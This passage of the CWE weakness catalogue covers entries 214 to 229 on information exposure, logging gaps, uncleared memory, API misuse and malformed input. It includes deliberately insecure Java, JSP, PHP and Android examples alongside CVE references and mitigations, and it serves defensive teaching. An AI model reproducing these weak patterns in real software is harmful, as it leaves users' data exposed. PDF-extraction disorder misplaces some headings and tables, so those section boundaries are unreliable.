**Languages**
- All

**Common Consequences**
- Confidentiality
- Read application data

**Demonstrative Examples**

In the example below, the password for a keystore file is read from a system property.

**Java Example:**

```java
String keystorePass = System.getProperty("javax.net.ssl.keyStorePassword");
if (keystorePass == null) {
    System.err.println("ERROR: Keystore password not specified.");
    System.exit(-1);
} ...
```

If the property is defined on the command line when the program is invoked (using the -D... syntax), the password may be displayed in the OS process list.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1270</td>
<td>PGP passphrase provided as command line argument.</td>
</tr>
<tr>
<td>CVE-2001-1565</td>
<td>Username/password on command line allows local users to view via &quot;ps&quot; or other process listing programs</td>
</tr>
<tr>
<td>CVE-2004-1058</td>
<td>Kernel race condition allows reading of environment variables of a process that is still spawning.</td>
</tr>
<tr>
<td>CVE-2004-1948</td>
<td>Username/password on command line allows local users to view via &quot;ps&quot; or other process listing programs.</td>
</tr>
<tr>
<td>CVE-2005-1387</td>
<td>Password passed on command line</td>
</tr>
<tr>
<td>CVE-2005-2291</td>
<td>Password passed on command line</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

**Research Gaps**

Under-studied, especially environment variables.

**Affected Resources**

- System Process

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>SFP23</td>
<td>Process information infoleak to other processes</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>
Weakness ID: 215 (Weakness Variant)  Status: Draft

Description

Summary
The application contains debugging code that can expose sensitive information to untrusted parties.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages
- All

Common Consequences

Confidentiality
Read application data

Demonstrative Examples
The following program changes its behavior based on a debug flag.

JSP Example:

```jsp
<% if (Boolean.getBoolean("debugEnabled")) {
    %>
    User account number: <%= acctNo %>
    <%
    %>
```

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0918</td>
<td>CGI script includes sensitive information in debug messages when an error is triggered.</td>
</tr>
<tr>
<td>CVE-2003-1078</td>
<td>FTP client with debug option enabled shows password to the screen.</td>
</tr>
<tr>
<td>CVE-2004-2268</td>
<td>Password exposed in debug information.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Do not leave debug statements that could be executed in the source code. Assure that all debug information is eradicated before releasing the software.

Architecture and Design

Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>V</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
<td>384</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>717</td>
<td>OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling</td>
<td>629</td>
<td>1116</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
<td>1123</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>933</td>
<td>OWASP Top Ten 2013 Category A5 - Security Misconfiguration</td>
<td>928</td>
<td>1364</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
<td>1381</td>
</tr>
</tbody>
</table>
CWE-216: Containment Errors (Container Errors)

Weakness ID: 216 (Weakness Class)

Description

Summary
This tries to cover various problems in which improper data are included within a "container."

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Other

Potential Mitigations

Architecture and Design
Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Relationships

Taxonomy Mappings

PLOVER
OWASP Top Ten 2007
A6
CWE More Specific
Infoleak Using Debug Information

OWASP Top Ten 2004
Software Fault Patterns
A10
CWE More Specific
Information Leakage and Improper Error Handling

Insecure Configuration Management
Exposed Data

Critical Public Variable Without Final Modifier
493

Untrusted Search Path
426

Sensitive Data Under FTP Root
220

Sensitive Data Under Web Root
219

Untrusted Search Path
98

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

UNIX Symbolic Link (Symlink) Following
61

SFP Secondary Cluster: Implementation
978

Information Management Errors
199

Insufficient Encapsulation
485

Other

PLOVER

Containment errors (container errors)
CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification

This weakness has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this weakness can be found at CWE-766 and CWE-767.

CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data

This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.

CWE-219: Sensitive Data Under Web Root

The application stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.

Common Consequences

Confidentiality

Read application data

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0943</td>
<td>Database file under web root.</td>
</tr>
<tr>
<td>CVE-2002-1449</td>
<td>Username/password in data file under web root.</td>
</tr>
<tr>
<td>CVE-2005-1645</td>
<td>Database file under web root.</td>
</tr>
<tr>
<td>CVE-2005-1835</td>
<td>Data file under web root.</td>
</tr>
<tr>
<td>CVE-2005-2217</td>
<td>Data file under web root.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

System Configuration

Avoid storing information under the web root directory.
System Configuration
Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the web directory.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>285</td>
<td>Improper Authorization</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>815</td>
<td>OWASP Top Ten 2010 Category A6 - Security Misconfiguration</td>
<td>809</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>433</td>
<td>Unparsed Raw Web Content Delivery</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Sensitive Data Under Web Root</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A10</td>
<td></td>
<td>CWE More Specific</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Insecure Configuration Management</td>
</tr>
</tbody>
</table>

CWE-220: Sensitive Data Under FTP Root

Weakness ID: 220 (Weakness Variant) Status: Draft

Description

Summary
The application stores sensitive data under the FTP document root with insufficient access control, which might make it accessible to untrusted parties.

Time of Introduction
• Operation
• Architecture and Design

Applicable Platforms

Languages
• All

Common Consequences

Confidentiality
Read application data

Potential Mitigations

Implementation
System Configuration
Avoid storing information under the FTP root directory.

System Configuration
Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the FTP directory.

Background Details
Various Unix FTP servers require a password file that is under the FTP root, due to use of chroot.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
CWE-221: Information Loss or Omission

Weakness ID: 221 (Weakness Class)  Status: Incomplete

Description

Summary
The software does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.

Extended Description
This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms

Languages
• All

Common Consequences

Non-Repudiation
Hide activities

Relationships

Nature  Type  ID  Name
ChildOf  PLOVER  Information Management Errors  199  384
ChildOf  PLOVER  Improper Control of a Resource Through its Lifetime  664  1028
ChildOf  PLOVER  SFP Secondary Cluster: Information Loss  997  1397
ParentOf  PLOVER  Truncation of Security-relevant Information  222  414
ParentOf  PLOVER  Omission of Security-relevant Information  223  415
ParentOf  PLOVER  Obscured Security-relevant Information by Alternate Name  224  416
ParentOf  PLOVER  Product UI does not Warn User of Unsafe Actions  356  621
ParentOf  PLOVER  Declaration of Catch for Generic Exception  396  683
ParentOf  PLOVER  Declaration of Throws for Generic Exception  397  684
ParentOf  PLOVER  User Interface (UI) Misrepresentation of Critical Information  451  765

Taxonomy Mappings

Mapped Taxonomy Name  Mapped Node Name
PLOVER  Information loss or omission

Related Attack Patterns

CAPEC-ID  Attack Pattern Name
81  Web Logs Tampering

(CAPEC Version 2.10)

CWE-222: Truncation of Security-relevant Information

Weakness ID: 222 (Weakness Base)  Status: Draft

Description

Summary
The application truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.

Time of Introduction
• Architecture and Design
CWE Version 2.11
CWE-223: Omission of Security-relevant Information

• Implementation
• Operation

Applicable Platforms
Languages
• All

Common Consequences
Non-Repudiation
Hide activities
The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0412</td>
<td>Does not log complete URI of a long request (truncation).</td>
</tr>
<tr>
<td>CVE-2004-2032</td>
<td>Bypass URL filter via a long URL with a large number of trailing hex-encoded space characters.</td>
</tr>
<tr>
<td>CVE-2005-0585</td>
<td>Web browser truncates long sub-domains or paths, facilitating phishing.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>221</td>
<td>Information Loss or Omission</td>
<td>699</td>
<td>414</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>997</td>
<td>SFP Secondary Cluster: Information Loss</td>
<td>888</td>
<td>1397</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Truncation of Security-relevant Information</td>
</tr>
</tbody>
</table>

CWE-223: Omission of Security-relevant Information

Weakness ID: 223 (Weakness Base) Status: Draft

Description

Summary
The application does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms
Languages
• All

Common Consequences
Non-Repudiation
Hide activities
The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.

Demonstrative Examples
This code logs suspicious multiple login attempts.

PHP Example:

```php
function login($userName,$password){
    if(authenticate($userName,$password)){
        return True;
    }
    else{
        incrementLoginAttempts($userName);
        if(recentLoginAttempts($userName) > 5){
```

Bad Code
Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1029</td>
<td>Login attempts not recorded if user disconnects before maximum number of tries.</td>
</tr>
<tr>
<td>CVE-2000-0542</td>
<td>Failed authentication attempt not recorded if later attempt succeeds.</td>
</tr>
<tr>
<td>CVE-2002-1839</td>
<td>Sender's IP address not recorded in outgoing e-mail.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>221</td>
<td>Information Loss or Omission</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>997</td>
<td>SFP Secondary Cluster: Information Loss</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>778</td>
<td>Insufficient Logging</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Omission of Security-relevant Information</td>
</tr>
</tbody>
</table>

References


CWE-224: Obscured Security-relevant Information by Alternate Name

Weakness ID: 224 (Weakness Base) Status: Incomplete

Description

Summary

The software records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Non-Repudiation
Access Control
Hide activities
Gain privileges / assume identity

Demonstrative Examples

This code prints the contents of a file if a user has permission.

PHP Example:

```php
function readFile($filename){
    $user = getCurrentUser();
    $realFile = $filename;
    //resolve file if its a symbolic link
    if(is_link($filename)){
        //Bad Code
    }
}...
```
$realFile = readlink($filename);
if(fileowner($realFile) == $user){
    echo file_get_contents($realFile);
    return;
} else{
    echo 'Access denied';
    writeLog($user . ' attempted to access the file '. $filename . ' on '. date('r'));
}
}

While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure his target by giving the script the name of a link to the file he is attempting to access. Also note this code contains a race condition between the is_link() and readlink() functions (CWE-363).

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0725</td>
<td>Attacker performs malicious actions on a hard link to a file, obscuring the real target file.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>✓</td>
<td>221</td>
<td>Information Loss or Omission</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✓</td>
<td>997</td>
<td>SFP Secondary Cluster: Information Loss</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Obscured Security-relevant Information by Alternate Name</td>
</tr>
</tbody>
</table>

**References**


---

**CWE-225: DEPRECATED (Duplicate): General Information Management Problems**

**Weakness ID:** 225 *(Deprecated Weakness Base)*

**Status:** Deprecated

**Description**

**Summary**

This weakness can be found at CWE-199.

---

**CWE-226: Sensitive Information Uncleared Before Release**

**Weakness ID:** 226 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The software does not fully clear previously used information in a data structure, file, or other resource, before making that resource available to a party in another control sphere.

**Extended Description**

This typically results from new data that is not as long as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, it may allow unintended actors to read the data when the memory is reallocated.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
Language-independent

**Common Consequences**

Confidentiality

Read application data

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-2077</td>
<td>Memory not properly cleared before reuse.</td>
</tr>
<tr>
<td>CVE-2003-0001</td>
<td>Ethernet NIC drivers do not pad frames with null bytes, leading to infoleak from malformed packets.</td>
</tr>
<tr>
<td>CVE-2003-0291</td>
<td>Router does not clear information from DHCP packets that have been previously used.</td>
</tr>
<tr>
<td>CVE-2005-1406</td>
<td>Products do not fully clear memory buffers when less data is stored into the buffer than previous.</td>
</tr>
<tr>
<td>CVE-2005-1858</td>
<td>Products do not fully clear memory buffers when less data is stored into the buffer than previous.</td>
</tr>
<tr>
<td>CVE-2005-3180</td>
<td>Products do not fully clear memory buffers when less data is stored into the buffer than previous.</td>
</tr>
<tr>
<td>CVE-2005-3276</td>
<td>Product does not clear a data structure before writing to part of it, yielding information leak of previously used memory.</td>
</tr>
</tbody>
</table>

**Weakness Ordinalities**

Resultant (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>459</td>
<td>Incomplete Cleanup</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Relationship Notes**

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

**Research Gaps**

Currently frequently found for network packets, but it can also exist in local memory allocation, files, etc.

**Affected Resources**

• Memory

**Functional Areas**

• Non-specific
• memory management
• networking

**Causal Nature**

Explicit (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**
CWE-227: Improper Fulfillment of API Contract ('API Abuse')

**Weakness ID:** 227 (Weakness Class)  
**Status:** Draft

**Description**

**Summary**

The software uses an API in a manner contrary to its intended use.

**Extended Description**

An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated.

**Alternate Terms**

API Abuse

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

- Integrity
- Other
- Quality degradation
- Unexpected state

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4339</td>
<td>Crypto implementation removes padding when it shouldn't, allowing forged signatures</td>
</tr>
<tr>
<td>CVE-2006-7140</td>
<td>Crypto implementation removes padding when it shouldn't, allowing forged signatures</td>
</tr>
<tr>
<td>CVE-2007-1588</td>
<td>C++ web server program calls Process::setuid before calling Process::setgid, preventing it from dropping privileges, potentially allowing CGI programs to be called with higher privileges than intended</td>
</tr>
<tr>
<td>CVE-2007-5191</td>
<td>file-system management programs call the setuid and setgid functions in the wrong order and do not check the return values, allowing attackers to gain unintended privileges</td>
</tr>
<tr>
<td>CVE-2017-6964</td>
<td>Linux-based device mapper encryption program does not check the return value of setuid and setgid allowing attackers to execute code with unintended privileges</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

- Implementation
- Architecture and Design

Always utilize APIs in the specified manner.
## CWE-228: Improper Handling of Syntactically Invalid Structure

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>710</td>
<td>Coding Standards Violation</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>245</td>
<td>J2EE Bad Practices: Direct Management of Connections</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>246</td>
<td>J2EE Bad Practices: Direct Use of Sockets</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>248</td>
<td>Uncaught Exception</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>251</td>
<td>Often Misused: String Management</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>252</td>
<td>Unchecked Return Value</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>253</td>
<td>Incorrect Check of Function Return Value</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>350</td>
<td>Reliance on Reverse DNS Resolution for a Security-Critical Action</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>382</td>
<td>J2EE Bad Practices: Use of System.exit()</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>558</td>
<td>Use of getlogin() in Multithreaded Application</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>559</td>
<td>Often Misused: Arguments and Parameters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>586</td>
<td>Explicit Call to Finalize()</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>589</td>
<td>Call to Non-ubiquitous API</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>605</td>
<td>Multiple Binds to the Same Port</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>648</td>
<td>Incorrect Use of Privileged APIs</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>650</td>
<td>Trusting HTTP Permission Methods on the Server Side</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td>🌟</td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🌟</td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🌟</td>
<td>700</td>
<td>Seven Pernicious Kingdoms</td>
<td>700</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>API Abuse</td>
</tr>
<tr>
<td>WASC</td>
<td>42</td>
<td>Abuse of Functionality</td>
</tr>
</tbody>
</table>

### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>96</td>
<td>Block Access to Libraries</td>
</tr>
<tr>
<td>113</td>
<td>API Manipulation</td>
</tr>
</tbody>
</table>

---

**CWE-228: Improper Handling of Syntactically Invalid Structure**

**Weakness ID:** 228 *(Weakness Class)*

**Status:** Incomplete
CWE Version 2.11
CWE-228: Improper Handling of Syntactically Invalid Structure

Summary
The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.

Time of Introduction
• Implementation
• Architecture and Design

Common Consequences
    Integrity
    Availability
    Unexpected state
    DoS: crash / exit / restart
    DoS: resource consumption (CPU)
    If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.

Demonstrative Examples
This application has registered to handle a URL when sent an intent:

Java Example:

```java
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>137</td>
<td>Representation Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
<td>1110</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>229</td>
<td>Improper Handling of Values</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>233</td>
<td>Improper Handling of Parameters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>237</td>
<td>Improper Handling of Structural Elements</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>241</td>
<td>Improper Handling of Unexpected Data Type</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Relevant Properties
• Validity

Taxonomy Mappings
CWE-229: Improper Handling of Values

**Description**

**Summary**

